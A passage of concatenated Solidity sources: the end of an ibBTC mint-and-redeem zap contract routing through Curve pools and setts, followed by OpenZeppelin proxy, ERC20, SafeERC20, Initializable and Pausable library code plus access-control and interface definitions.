pools[2] = Pool({ // tbtc-sbtcCrv [ tbtc, ren, wbtc, sbtc ]
lpToken: IERC20(0x64eda51d3Ad40D56b9dFc5554E06F94e1Dd786Fd),
deposit: ICurveFi(0xaa82ca713D94bBA7A89CEAB55314F9EfFEdDc78c),
sett: ISett(0xb9D076fDe463dbc9f915E5392F807315Bf940334)
});
pools[3] = Pool({ // Exclusive to wBTC
lpToken: wbtc,
deposit: ICurveFi(0x0),
sett: ISett(0x4b92d19c11435614CD49Af1b589001b7c08cD4D5) // byvWbtc
});
// Since we don't hold any tokens in this contract, we can optimize gas usage in mint calls by providing infinite approvals
for (uint i = 0; i < pools.length; i++) {
Pool memory pool = pools[i];
pool.lpToken.safeApprove(address(pool.sett), uint(-1));
if (i < 3) {
ren.safeApprove(address(pool.deposit), uint(-1));
wbtc.safeApprove(address(pool.deposit), uint(-1));
IERC20(address(pool.sett)).safeApprove(address(settPeak), uint(-1));
} else {
IERC20(address(pool.sett)).safeApprove(address(byvWbtcPeak), uint(-1));
}
}
pools[2].lpToken.safeApprove(address(pools[2].deposit), uint(-1));
}
/**
* @notice Mint ibbtc with wBTC / renBTC
* @param token wBTC or renBTC address
* @param amount wBTC or renBTC amount
* @param poolId 0=crvRenWBTC, 1=crvRenWSBTC, 2=tbtc-sbtcCrv, 3=yvWbtc
* @param idx Index of the token in the curve pool while adding liquidity; redundant for yvWbtc
* @param minOut Minimum amount of ibbtc to mint. Use for capping slippage while adding liquidity to curve pool.
* @return _ibbtc Minted ibbtc amount
*/
function mint(IERC20 token, uint amount, uint poolId, uint idx, uint minOut)
external
defend
blockLocked
whenNotPaused
returns(uint _ibbtc)
{
token.safeTransferFrom(msg.sender, address(this), amount);
Pool memory pool = pools[poolId];
if (poolId < 3) { // setts
_addLiquidity(pool.deposit, amount, poolId + 2, idx); // pools are such that the #tokens they support is +2 from their poolId.
pool.sett.deposit(pool.lpToken.balanceOf(address(this)));
_ibbtc = settPeak.mint(poolId, pool.sett.balanceOf(address(this)), new bytes32[](0));
} else if (poolId == 3) { // byvwbtc
IbyvWbtc(address(pool.sett)).deposit(new bytes32[](0)); // pulls all available
_ibbtc = byvWbtcPeak.mint(pool.sett.balanceOf(address(this)), new bytes32[](0));
} else {
revert("INVALID_POOL_ID");
}
require(_ibbtc >= minOut, "INSUFFICIENT_IBBTC"); // used for capping slippage in curve pools
ibbtc.safeTransfer(msg.sender, _ibbtc);
}
/**
* @dev Add liquidity to curve btc pools
* @param amount wBTC / renBTC amount
* @param pool Curve btc pool
* @param numTokens # supported tokens for the curve pool
* @param idx Index of the supported token in the curve pool in question
*/
function _addLiquidity(ICurveFi pool, uint amount, uint numTokens, uint idx) internal {
if (numTokens == 2) {
uint[2] memory amounts;
amounts[idx] = amount;
pool.add_liquidity(amounts, 0);
}
if (numTokens == 3) {
uint[3] memory amounts;
amounts[idx] = amount;
pool.add_liquidity(amounts, 0);
}
if (numTokens == 4) {
uint[4] memory amounts;
amounts[idx] = amount;
pool.add_liquidity(amounts, 0);
}
}
/**
* @notice Calculate the most optimal route and expected ibbtc amount when minting with wBTC / renBtc.
* @dev Use returned params poolId, idx and bBTC in the call to mint(...)
The last param `minOut` in mint(...) should be a bit less than the returned bBTC value.
For instance 0.2% - 1% lesser depending on slippage tolerange.
* @param amount renBTC amount
* @return poolId 0=crvRenWBTC, 1=crvRenWSBTC, 2=tbtc-sbtcCrv, 3=byvwbtc
* @return idx Index of the supported token in the curve pool (poolId). Should be ignored for poolId=3
* @return bBTC Expected ibbtc. Not for precise calculations. Doesn't factor in (deposit) fee charged by the curve pool / byvwbtc.
* @return fee Fee being charged by ibbtc system. Denominated in corresponding sett token
*/
function calcMint(address token, uint amount) external view returns(uint poolId, uint idx, uint bBTC, uint fee) {
if (token == address(ren)) {
return calcMintWithRen(amount);
}
if (token == address(wbtc)) {
return calcMintWithWbtc(amount);
}
revert("INVALID_TOKEN");
}
/**
* @notice Calculate mint through renWBTC pool route and expected ibbtc amount when minting with renBTC.
* @dev Use returned params poolId, idx and bBTC in the call to mint(...)
The last param `minOut` in mint(...) should be a bit more than the returned bBTC value.
For instance 0.2% - 1% higher depending on slippage tolerange.
* @param amount renBTC amount
* @return poolId 0=crvRenWBTC, 1=crvRenWSBTC, 2=tbtc-sbtcCrv
* @return idx Index of the supported token in the curve pool (poolId)
* @return bBTC Expected ibbtc. Not for precise calculations. Doesn't factor in fee charged by the curve pool
* @return fee Fee being charged by ibbtc system. Denominated in corresponding sett token
*/
function calcMintWithRen(uint amount) public view returns(uint poolId, uint idx, uint bBTC, uint fee) {
// poolId=0, idx=0
(bBTC, fee) = curveLPToIbbtc(0, pools[0].deposit.calc_token_amount([amount,0], true));
}
/**
* @notice Calculate mint through renWBTC pool route and expected ibbtc amount when minting with wBTC.
* @dev Use returned params poolId, idx and bBTC in the call to mint(...)
The last param `minOut` in mint(...) should be a bit more than the returned bBTC value.
For instance 0.2% - 1% higher depending on slippage tolerange.
* @param amount renBTC amount
* @return poolId 0=crvRenWBTC, 1=crvRenWSBTC, 2=tbtc-sbtcCrv, 3=byvwbtc
* @return idx Index of the supported token in the curve pool (poolId). Should be ignored for poolId=3
* @return bBTC Expected ibbtc. Not for precise calculations. Doesn't factor in (deposit) fee charged by the curve pool / byvwbtc.
* @return fee Fee being charged by ibbtc system. Denominated in corresponding sett token
*/
function calcMintWithWbtc(uint amount) public view returns(uint poolId, uint idx, uint bBTC, uint fee) {
// poolId=0
(bBTC, fee) = curveLPToIbbtc(0, pools[0].deposit.calc_token_amount([0,amount], true));
idx = 1;
}
/**
* @dev Curve LP token amount to expected ibbtc amount
*/
function curveLPToIbbtc(uint poolId, uint _lp) public view returns(uint bBTC, uint fee) {
Pool memory pool = pools[poolId];
uint _sett = _lp.mul(1e18).div(pool.sett.getPricePerFullShare());
return settPeak.calcMint(poolId, _sett);
}
// Redeem Methods
function redeem(IERC20 token, uint amount, uint poolId, int128 idx, uint minOut)
external
defend
blockLocked
whenNotPaused
returns(uint out)
{
ibbtc.safeTransferFrom(msg.sender, address(this), amount);
Pool memory pool = pools[poolId];
if (poolId < 3) { // setts
settPeak.redeem(poolId, amount);
pool.sett.withdrawAll();
pool.deposit.remove_liquidity_one_coin(pool.lpToken.balanceOf(address(this)), idx, minOut);
} else if (poolId == 3) { // byvwbtc
byvWbtcPeak.redeem(amount);
IbyvWbtc(address(pool.sett)).withdraw(); // withdraws all available
} else {
revert("INVALID_POOL_ID");
}
out = token.balanceOf(address(this));
token.safeTransfer(msg.sender, out);
}
/**
* @notice Calculate redeem through renWBTC pool route and expected token amount when redeeming ibbtc.
* @dev Use returned params poolId, idx and out in the call to redeem(...)
The last param `redeem` in mint(...) should be a bit less than the returned `out` value.
For instance 0.2% - 1% lesser depending on slippage tolerange.
* @param amount ibbtc amount
* @return poolId 0=crvRenWBTC, 1=crvRenWSBTC, 2=tbtc-sbtcCrv, 3=byvwbtc
* @return idx Index of the supported token in the curve pool (poolId). Should be ignored for poolId=3
* @return out Expected amount for token. Not for precise calculations. Doesn't factor in (deposit) fee charged by the curve pool / byvwbtc.
* @return fee Fee being charged by ibbtc + setts. Denominated in corresponding sett token
*/
function calcRedeem(address token, uint amount) external view returns(uint poolId, uint idx, uint out, uint fee) {
if (token == address(ren)) {
return calcRedeemInRen(amount);
}
if (token == address(wbtc)) {
return calcRedeemInWbtc(amount);
}
revert("INVALID_TOKEN");
}
/**
* @notice Calculate redeem through renWBTC pool route and expected renbtc amount when redeeming ibbtc.
* @dev Use returned params poolId, idx and renAmount in the call to redeem(...)
The last param `minOut` in redeem(...) should be a bit less than the returned renAmount value.
For instance 0.2% - 1% lesser depending on slippage tolerange.
* @param amount ibbtc amount
* @return poolId 0=crvRenWBTC, 1=crvRenWSBTC, 2=tbtc-sbtcCrv
* @return idx Index of the supported token in the curve pool (poolId)
* @return renAmount Expected renBtc. Not for precise calculations. Doesn't factor in fee charged by the curve pool
* @return fee Fee being charged by ibbtc system. Denominated in corresponding sett token
*/
function calcRedeemInRen(uint amount) public view returns(uint poolId, uint idx, uint renAmount, uint fee) {
uint _lp;
uint _fee;
uint _ren;
// poolId=0, idx=0
(_lp, fee) = ibbtcToCurveLP(0, amount);
renAmount = pools[0].deposit.calc_withdraw_one_coin(_lp, 0);
}
/**
* @notice Calculate the most optimal route and expected wbtc amount when redeeming ibbtc.
* @dev Use returned params poolId, idx and wbtc in the call to redeem(...)
The last param `minOut` in redeem(...) should be a bit less than the returned wbtc value.
For instance 0.2% - 1% lesser depending on slippage tolerange.
* @param amount ibbtc amount
* @return poolId 0=crvRenWBTC, 1=crvRenWSBTC, 2=tbtc-sbtcCrv, 3=byvwbtc
* @return idx Index of the supported token in the curve pool (poolId)
* @return wBTCAmount Expected wbtc. Not for precise calculations. Doesn't factor in fee charged by the curve pool
* @return fee Fee being charged by ibbtc system. Denominated in corresponding sett token
*/
function calcRedeemInWbtc(uint amount) public view returns(uint poolId, uint idx, uint wBTCAmount, uint fee) {
uint _lp;
uint _fee;
uint _wbtc;
// poolId=0, idx=0
(_lp, fee) = ibbtcToCurveLP(0, amount);
wBTCAmount = pools[0].deposit.calc_withdraw_one_coin(_lp, 1);
idx = 1;
}
function ibbtcToCurveLP(uint poolId, uint bBtc) public view returns(uint lp, uint fee) {
uint sett;
uint max;
(sett,fee,max) = settPeak.calcRedeem(poolId, bBtc);
Pool memory pool = pools[poolId];
if (bBtc > max) {
return (0,fee);
} else {
// pesimistically charge 0.5% on the withdrawal.
// Actual fee might be lesser if the vault keeps keeps a buffer
uint strategyFee = sett.mul(controller.strategies(pool.lpToken).withdrawalFee()).div(10000);
lp = sett.sub(strategyFee).mul(pool.sett.getPricePerFullShare()).div(1e18);
fee = fee.add(strategyFee);
}
}
// Governance controls
function setGovernance(address _governance) external onlyGovernance {
_setGovernance(_governance);
}
function _setGovernance(address _governance) internal {
require(_governance != address(0), "NULL_ADDRESS");
governance = _governance;
}
function approveContractAccess(address account) external onlyGovernance {
_approveContractAccess(account);
}
function revokeContractAccess(address account) external onlyGovernance {
_revokeContractAccess(account);
}
function pause() external onlyGovernance {
_pause();
}
function unpause() external onlyGovernance {
_unpause();
}
}
interface ICurveFi {
function add_liquidity(uint[2] calldata amounts, uint min_mint_amount) external;
function calc_token_amount(uint[2] calldata amounts, bool isDeposit) external view returns(uint);
function add_liquidity(uint[3] calldata amounts, uint min_mint_amount) external;
function calc_token_amount(uint[3] calldata amounts, bool isDeposit) external view returns(uint);
function add_liquidity(uint[4] calldata amounts, uint min_mint_amount) external;
function calc_token_amount(uint[4] calldata amounts, bool isDeposit) external view returns(uint);
function remove_liquidity_one_coin(uint _token_amount, int128 i, uint min_amount) external;
function calc_withdraw_one_coin(uint _token_amount, int128 i) external view returns(uint);
}
interface IStrategy {
function withdrawalFee() external view returns(uint);
}
interface IController {
function strategies(IERC20 token) external view returns(IStrategy);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./UpgradeableProxy.sol";
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic, address admin_, bytes memory _data) public payable UpgradeableProxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(admin_);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _admin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeTo(newImplementation);
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal override virtual {
require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../access/Ownable.sol";
import "./TransparentUpgradeableProxy.sol";
/**
* @dev This is an auxiliary contract meant to be assigned as the admin of a {TransparentUpgradeableProxy}. For an
* explanation of why you would want to use this see the documentation for {TransparentUpgradeableProxy}.
*/
contract ProxyAdmin is Ownable {
/**
* @dev Returns the current implementation of `proxy`.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function getProxyImplementation(TransparentUpgradeableProxy proxy) public view returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("implementation()")) == 0x5c60da1b
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Returns the current admin of `proxy`.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function getProxyAdmin(TransparentUpgradeableProxy proxy) public view returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("admin()")) == 0xf851a440
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Changes the admin of `proxy` to `newAdmin`.
*
* Requirements:
*
* - This contract must be the current admin of `proxy`.
*/
function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public onlyOwner {
proxy.changeAdmin(newAdmin);
}
/**
* @dev Upgrades `proxy` to `implementation`. See {TransparentUpgradeableProxy-upgradeTo}.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function upgrade(TransparentUpgradeableProxy proxy, address implementation) public onlyOwner {
proxy.upgradeTo(implementation);
}
/**
* @dev Upgrades `proxy` to `implementation` and calls a function on the new implementation. See
* {TransparentUpgradeableProxy-upgradeToAndCall}.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function upgradeAndCall(TransparentUpgradeableProxy proxy, address implementation, bytes memory data) public payable onlyOwner {
proxy.upgradeToAndCall{value: msg.value}(implementation, data);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import {GovernableProxy} from "./proxy/GovernableProxy.sol";
contract AccessControlDefendedBase {
mapping (address => bool) public approved;
mapping(address => uint256) public blockLock;
modifier defend() {
require(msg.sender == tx.origin || approved[msg.sender], "ACCESS_DENIED");
_;
}
modifier blockLocked() {
require(approved[msg.sender] || blockLock[msg.sender] < block.number, "BLOCK_LOCKED");
_;
}
function _lockForBlock(address account) internal {
blockLock[account] = block.number;
}
function _approveContractAccess(address account) internal {
approved[account] = true;
}
function _revokeContractAccess(address account) internal {
approved[account] = false;
}
}
contract AccessControlDefended is GovernableProxy, AccessControlDefendedBase {
uint256[50] private __gap;
function approveContractAccess(address account) external onlyGovernance {
_approveContractAccess(account);
}
function revokeContractAccess(address account) external onlyGovernance {
_revokeContractAccess(account);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface ISett is IERC20 {
function deposit(uint256 _amount) external;
function withdraw(uint256 _shares) external;
function withdrawAll() external;
function approveContractAccess(address account) external;
function getPricePerFullShare() external view returns (uint256);
function balance() external view returns (uint256);
// byvwbtc
function pricePerShare() external view returns (uint256);
function withdrawalFee() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
interface IPeak {
function portfolioValue() external view returns (uint);
}
interface IBadgerSettPeak is IPeak {
function mint(uint poolId, uint inAmount, bytes32[] calldata merkleProof)
external
returns(uint outAmount);
function calcMint(uint poolId, uint inAmount)
external
view
returns(uint bBTC, uint fee);
function redeem(uint poolId, uint inAmount)
external
returns (uint outAmount);
function calcRedeem(uint poolId, uint bBtc)
external
view
returns(uint sett, uint fee, uint max);
}
interface IByvWbtcPeak is IPeak {
function mint(uint inAmount, bytes32[] calldata merkleProof)
external
returns(uint outAmount);
function calcMint(uint inAmount)
external
view
returns(uint bBTC, uint fee);
function redeem(uint inAmount)
external
returns (uint outAmount);
function calcRedeem(uint bBtc)
external
view
returns(uint sett, uint fee, uint max);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IbBTC is IERC20 {
function mint(address account, uint amount) external;
function burn(address account, uint amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IbyvWbtc is IERC20 {
function pricePerShare() external view returns (uint);
function deposit(bytes32[] calldata merkleProof) external;
function withdraw() external returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Proxy.sol";
import "../utils/Address.sol";
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
